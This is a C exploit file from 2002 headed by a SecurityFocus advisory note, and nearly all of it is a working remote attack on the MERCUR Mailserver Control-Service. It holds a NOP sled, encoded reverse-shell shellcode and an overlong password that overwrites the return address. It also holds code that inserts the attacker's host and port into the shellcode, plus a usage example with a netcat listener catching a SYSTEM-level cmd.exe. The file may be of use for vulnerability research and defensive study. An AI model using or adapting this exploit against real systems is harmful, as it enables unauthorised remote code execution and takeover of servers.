// source: http://www.securityfocus.com/bid/5261/info // MERCUR Mailserver is prone to a remotely exploitable buffer overflow condition. The condition is due to insufficient bounds checking in the Control-Service component, which listens on TCP port 32000 by default. It is possible to corrupt process memory by supplying an overly long username/password. Attackers may exploit this condition to execute arbitrary instructions with the privileges of the mailserver. /* mercrexp.c (7/16/2002) # ./mercrexp 192.168.0.2 32000 192.168.1.2 3333 # nc -l -p 3333 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. E:\WINNT\system32> 2c79cbe14ac7d0b8472d3f129fa1df55 ([email protected]) */ #include <stdio.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <netdb.h> #include <sys/errno.h> // CALL EBX; mcrctrl.exe@0x228e #define EIP "\x8e\x2c\x40\x00" // payload.. dumped into remote memory as failed 'username' // dark spyrit's shell, ripped from jill.c unsigned char shell[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90" "\x90\x90\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95" "\x40\xe2\xfa\x2d\x95\x95\x64\xe2\x14\xad\xd8\xcf\x05\x95" "\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95\xc8\x1e\x40\x14" "\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3" "\xc2\xc4\x1e\xaa\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66" "\x33\xe1\x9d\xcc\xca\x16\x52\x91\xd0\x77\x72\xcc\xca\xcb" "\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6\x5c\xf3" "\x1e\x9d\x1e\xd3\x89\x96\x56\x54\x74\x97\x96\x54\x1e\x95" "\x96\x56\x1e\x67\x1e\x6b\x1e\x45\x2c\x9e\x95\x95\x95\x7d" "\xe1\x94\x95\x95\xa6\x55\x39\x10\x55\xe0\x6c\xc7\xc3\x6a" "\xc2\x41\xcf\x1e\x4d\x2c\x93\x95\x95\x95\x7d\xce\x94\x95" "\x95\x52\xd2\xf1\x99\x95\x95\x95\x52\xd2\xfd\x95\x95\x95" "\x95\x52\xd2\xf9\x94\x95\x95\x95\xff\x95\x18\xd2\xf1\xc5" "\x18\xd2\x85\xc5\x18\xd2\x81\xc5\x6a\xc2\x55\xff\x95\x18" "\xd2\xf1\xc5\x18\xd2\x8d\xc5\x18\xd2\x89\xc5\x6a\xc2\x55" "\x52\xd2\xb5\xd1\x95\x95\x95\x18\xd2\xb5\xc5\x6a\xc2\x51" "\x1e\xd2\x85\x1c\xd2\xc9\x1c\xd2\xf5\x1e\xd2\x89\x1c\xd2" "\xcd\x14\xda\xd9\x94\x94\x95\x95\xf3\x52\xd2\xc5\x95\x95" "\x18\xd2\xe5\xc5\x18\xd2\xb5\xc5\xa6\x55\xc5\xc5\xc5\xff" "\x94\xc5\xc5\x7d\x95\x95\x95\x95\xc8\x14\x78\xd5\x6b\x6a" "\x6a\xc0\xc5\x6a\xc2\x5d\x6a\xe2\x85\x6a\xc2\x71\x6a\xe2" "\x89\x6a\xc2\x71\xfd\x95\x91\x95\x95\xff\xd5\x6a\xc2\x45" "\x1e\x7d\xc5\xfd\x94\x94\x95\x95\x6a\xc2\x7d\x10\x55\x9a" "\x10\x3f\x95\x95\x95\xa6\x55\xc5\xd5\xc5\xd5\xc5\x6a\xc2" "\x79\x16\x6d\x6a\x9a\x11\x02\x95\x95\x95\x1e\x4d\xf3\x52" "\x92\x97\x95\xf3\x52\xd2\x97\x80\x26\x52\xd2\x91\x55\x3d" "\x95\x94\xff\x85\x18\x92\xc5\xc6\x6a\xc2\x61\xff\xa7\x6a" "\xc2\x49\xa6\x5c\xc4\xc3\xc4\xc4\xc4\x6a\xe2\x81\x6a\xc2" "\x59\x10\x55\xe1\xf5\x05\x05\x05\x05\x15\xab\x95\xe1\xba" "\x05\x05\x05\x05\xff\x95\xc3\xfd\x95\x91\x95\x95\xc0\x6a" "\xe2\x81\x6a\xc2\x4d\x10\x55\xe1\xd5\x05\x05\x05\x05\xff" "\x95\x6a\xa3\xc0\xc6\x6a\xc2\x6d\x16\x6d\x6a\xe1\xbb\x05" "\x05\x05\x05\x7e\x27\xff\x95\xfd\x95\x91\x95\x95\xc0\xc6" "\x6a\xc2\x69\x10\x55\xe9\x8d\x05\x05\x05\x05\xe1\x09\xff" "\x95\xc3\xc5\xc0\x6a\xe2\x8d\x6a\xc2\x41\xff\xa7\x6a\xc2" "\x49\x7e\x1f\xc6\x6a\xc2\x65\xff\x95\x6a\xc2\x75\xa6\x55" "\x39\x10\x55\xe0\x6c\xc4\xc7\xc3\xc6\x6a\x47\xcf\xcc\x3e" "\x77\x7b\x56\xd2\xf0\xe1\xc5\xe7\xfa\xf6\xd4\xf1\xf1\xe7" "\xf0\xe6\xe6\x95\xd9\xfa\xf4\xf1\xd9\xfc\xf7\xe7\xf4\xe7" "\xec\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xfc\xe5\xf0\x95" "\xd2\xf0\xe1\xc6\xe1\xf4\xe7\xe1\xe0\xe5\xdc\xfb\xf3\xfa" "\xd4\x95\xd6\xe7\xf0\xf4\xe1\xf0\xc5\xe7\xfa\xf6\xf0\xe6" "\xe6\xd4\x95\xc5\xf0\xf0\xfe\xdb\xf4\xf8\xf0\xf1\xc5\xfc" "\xe5\xf0\x95\xd2\xf9\xfa\xf7\xf4\xf9\xd4\xf9\xf9\xfa\xf6" "\x95\xc2\xe7\xfc\xe1\xf0\xd3\xfc\xf9\xf0\x95\xc7\xf0\xf4" "\xf1\xd3\xfc\xf9\xf0\x95\xc6\xf9\xf0\xf0\xe5\x95\xd0\xed" "\xfc\xe1\xc5\xe7\xfa\xf6\xf0\xe6\xe6\x95\xd6\xf9\xfa\xe6" "\xf0\xdd\xf4\xfb\xf1\xf9\xf0\x95\xc2\xc6\xda\xd6\xde\xa6" "\xa7\x95\xc2\xc6\xd4\xc6\xe1\xf4\xe7\xe1\xe0\xe5\x95\xe6" "\xfa\xf6\xfe\xf0\xe1\x95\xf6\xf9\xfa\xe6\xf0\xe6\xfa\xf6" "\xfe\xf0\xe1\x95\xf6\xfa\xfb\xfb\xf0\xf6\xe1\x95\xe6\xf0" "\xfb\xf1\x95\xe7\xf0\xf6\xe3\x95\xf6\xf8\xf1\xbb\xf0\xed" "\xf0\x95\x0a"; // fake user unsigned char user[] = "\x78\x78\x78\x78\x0a"; // ebp/eip overwrite unsigned char passwd[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x03\xde\x83\xc3\x02\xff\xd3\xc3\x10"EIP"" "\x0a"; main(char argc, char **argv){ int fd; int bufsize = 1024; int buffer = malloc(bufsize); unsigned short int a_port; unsigned long a_host; struct sockaddr_in sin; struct hostent *he; struct in_addr in; printf("MERCUR Mailserver 4.2.0.0 remote 'SYSTEM' level exploit (07/16/2002)\n"); printf("2c79cbe14ac7d0b8472d3f129fa1df55 ([email protected])\n\n"); if (argc < 5){ printf("usage: %s <targethost> <controlport> <localhost> <localport>\n", argv[0]); printf(" controlport: MERCUR Control-Service port (default 32000)\n\n"); printf("NOTE: tested against win2k and winxp pro..\n\n"); exit(-1); } // riiiiiiip a_port = htons(atoi(argv[4])); a_port ^= 0x9595; if ((he = gethostbyname(argv[3])) == 0){herror(argv[3]);exit(-1);} a_host = *((unsigned long *)he->h_addr); a_host ^= 0x95959595; shell[1113] = ((a_port) & 0xff); shell[1114] = ((a_port >> 8) & 0xff); shell[1118] = ((a_host) & 0xff); shell[1119] = ((a_host >> 8) & 0xff); shell[1120] = ((a_host >> 16) & 0xff); shell[1121] = ((a_host >> 24) & 0xff); if((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0){perror("socket error");exit(-1);} if ((he = gethostbyname(argv[1])) != NULL){memcpy (&in, he->h_addr, he->h_length);} else if ((inet_aton(argv[1], &in)) < 0){printf("unable to resolve host");exit(-1);} sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(inet_ntoa(in)); sin.sin_port = htons(atoi(argv[2])); printf("ret: 0x00402c8e (mrcctrl.exe v.4.2.1.0)\n\n"); printf("connecting to tcp port %s...\n", argv[2]); if(connect(fd, (struct sockaddr *)&sin, sizeof(sin)) < 0){perror("connection error");exit(-1);} printf("connected.\n\n"); sleep(1); printf("dumping payload..."); if(write(fd, shell, strlen(shell)) < strlen(shell)){perror("write error");exit(-1);} printf("done\n"); sleep(1); printf("sending fake login..."); if(write(fd, user, strlen(user)) < strlen(user)){perror("write error");exit(-1);} printf("done\n"); sleep(1); printf("eip overrun..."); if(write(fd, passwd, strlen(passwd)) < strlen(passwd)){perror("write error");exit(-1);} printf("done\n\n"); printf("cmd.exe spawned to [%s:%s]\n\n", argv[3], argv[4]); close(fd); }